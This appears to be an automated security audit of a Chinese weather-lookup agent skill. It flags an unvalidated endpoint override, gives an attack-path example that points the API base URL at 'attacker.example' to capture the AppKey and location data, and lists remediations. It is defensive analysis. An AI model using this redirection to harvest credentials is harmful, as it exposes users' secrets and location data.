Back to skill

Security audit

天气查询 - 即刻数据

Security checks for vulnerabilities and agentic risk

Overview

The skill is a coherent weather lookup tool, but it has an under-disclosed endpoint override that can send the API key and queried location to an arbitrary URL if the environment is changed.

Install only if you trust the publisher and your runtime controls environment variables. Restrict outbound access to api.jikeapi.cn, avoid setting JIKE_API_BASE_URL, and treat the Jike AppKey as a secret that may appear in request URLs or logs.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/weather_query.py:28
Finding

Attacker-Controlled API Base URL Can Expose Credentials and Location Data

Content
View full analysis

Vulnerability Details

File Location: scripts/weather_query.py, lines 28 and 165–169
Vulnerability Type: Unvalidated API endpoint override and sensitive data exposure
Risk Level: Medium

Vulnerable Code

python
API_BASE_URL = os.environ.get("JIKE_API_BASE_URL", "https://api.jikeapi.cn").rstrip("/")
python
path = API_PATH_MAP[query_type]
params = {"province": province, "city": city, "appkey": appkey}
if area:
    params["area"] = area
url = f"{API_BASE_URL}{path}?{urllib.parse.urlencode(params)}"

try:
    with urllib.request.urlopen(url, timeout=15) as response:
        return json.loads(response.read().decode("utf-8"))

Technical Analysis

The script permits the JIKE_API_BASE_URL environment variable to replace the trusted API origin. It does not validate the resulting URL's scheme or hostname before making the request.

The request URL contains the AppKey and user-supplied location information in its query string. A process, wrapper, deployment configuration, or other actor capable of influencing the execution environment can redirect an otherwise legitimate weather query to an arbitrary endpoint. The override can also specify plain HTTP, removing transport confidentiality.

Independently, placing the AppKey in a query string increases the chance that it will be retained in web-server, reverse-proxy, monitoring, or diagnostic logs.

Attack Path

  1. An attacker gains the ability to define environment variables for the skill process, such as through a compromised wrapper, launcher, or deployment configuration.
  2. The attacker sets JIKE_API_BASE_URL to an endpoint they control, for example:
    bash
    export JIKE_API_BASE_URL=http://attacker.example
    
  3. A user or agent invokes the normal weather-query command.
  4. The script appends the legitimate weather API path and constructs a request containing province, city, optional area, and appkey.

...[truncated 841 chars]

Remediation
View remediation

Remediation Suggestions

  1. Remove the JIKE_API_BASE_URL override if custom endpoints are not required.
  2. If an override is operationally necessary, parse it with urllib.parse.urlsplit() and enforce:
    • The https scheme.
    • An exact allowlisted hostname, such as api.jikeapi.cn.
    • An expected port.
    • No embedded username or password.
    • No unexpected path, query string, or fragment.
  3. Construct the final URL from a fixed, trusted origin and the predefined paths in API_PATH_MAP.
  4. Prefer transmitting the AppKey in a dedicated authorization header if the upstream API supports it, rather than in the URL query string.
  5. Ensure logs, exception reporting, proxies, and monitoring systems redact credentials.
  6. Treat deployment environment configuration as security-sensitive and prevent untrusted users or processes from modifying variables supplied to the skill.
  7. Add tests confirming that HTTP URLs, unapproved hosts, embedded credentials, and malformed endpoint overrides are rejected before any request is made.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (8)

Tainted flow: 'url' from os.environ.get (line 167, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/weather_query.py (reported line 170)May include surrounding context.

python
url = f"{API_BASE_URL}{path}?{urllib.parse.urlencode(params)}"

    try:
        with urllib.request.urlopen(url, timeout=15) as response:
            return json.loads(response.read().decode("utf-8"))
    except urllib.error.HTTPError as exc:
        return {"code": exc.code, "message": f"接口请求失败: HTTP {exc.code}", "data": ""}

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/weather_query.py (reported line 59)May include surrounding context.

python
if env_value:
            return env_value

    env_file = Path(__file__).parent / ".env"
    if not env_file.exists():
        return ""

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding

The skill clearly requires environment access for API keys, file/script execution, and outbound network access, but it does not declare an explicit tool scope such as permissions or allowed-tools. This creates a governance gap where the runtime may grant broader capabilities than reviewers or policy engines can easily validate, increasing the risk of unintended secret access or network use.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
83% confidence
Finding

This skill instructs direct transmission of user-supplied location data and an API key to an external third-party service. While that is expected for a weather skill, it is still a real data egress path involving secrets and user query data, and the key is shown in the URL query string, which can be exposed via logs, proxies, browser history, or monitoring systems.

Content

Scanner excerpt · SKILL.md (reported line 64)May include surrounding context.

直接调用 API

text
GET https://api.jikeapi.cn/v1/weather/query/by-area?province=广东省&city=深圳市&area=南山区&appkey=YOUR_APPKEY
GET https://api.jikeapi.cn/v1/weather/query/7d?province=广东省&city=深圳市&appkey=YOUR_APPKEY
GET https://api.jikeapi.cn/v1/weather/query/15d?province=广东省&city=深圳市&appkey=YOUR_APPKEY

External Transmission

Medium
Category
Data Exfiltration
Confidence
83% confidence
Finding

This example documents an outbound request to a third-party API containing user location parameters and the appkey in the request URL. Even though the functionality requires external weather lookup, embedding credentials in URLs raises exposure risk through access logs and intermediaries.

Content

Scanner excerpt · SKILL.md (reported line 65)May include surrounding context.

text
GET https://api.jikeapi.cn/v1/weather/query/by-area?province=广东省&city=深圳市&area=南山区&appkey=YOUR_APPKEY
GET https://api.jikeapi.cn/v1/weather/query/7d?province=广东省&city=深圳市&appkey=YOUR_APPKEY
GET https://api.jikeapi.cn/v1/weather/query/15d?province=广东省&city=深圳市&appkey=YOUR_APPKEY

External Transmission

Medium
Category
Data Exfiltration
Confidence
83% confidence
Finding

The documented 15-day forecast request sends user-provided geographic data and the secret appkey to an external service via URL parameters. In this skill context the network call is functionally necessary, but the credential handling method still increases the chance of accidental secret leakage and creates a defined external exfiltration channel.

Content

Scanner excerpt · SKILL.md (reported line 66)May include surrounding context.

text
GET https://api.jikeapi.cn/v1/weather/query/by-area?province=广东省&city=深圳市&area=南山区&appkey=YOUR_APPKEY
GET https://api.jikeapi.cn/v1/weather/query/7d?province=广东省&city=深圳市&appkey=YOUR_APPKEY
GET https://api.jikeapi.cn/v1/weather/query/15d?province=广东省&city=深圳市&appkey=YOUR_APPKEY

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · _meta.json (reported line 8)May include surrounding context.

json
"title": "天气查询 - 即刻数据",
  "description": "根据省份、城市、区县查询当前天气实况、未来7天和未来15天天气预报。",
  "env": "JIKE_WEATHER_QUERY_KEY",
  "api_url": "https://api.jikeapi.cn/v1/weather/query/by-area",
  "homepage": "https://www.jikeapi.cn/"
}

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

This Python file contains natural-language descriptions, CLI help text, and user-facing messages exclusively in Chinese. That enforces a specific language/locale for all users without any visible option to select another language, which matches the language-policy violation criterion.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.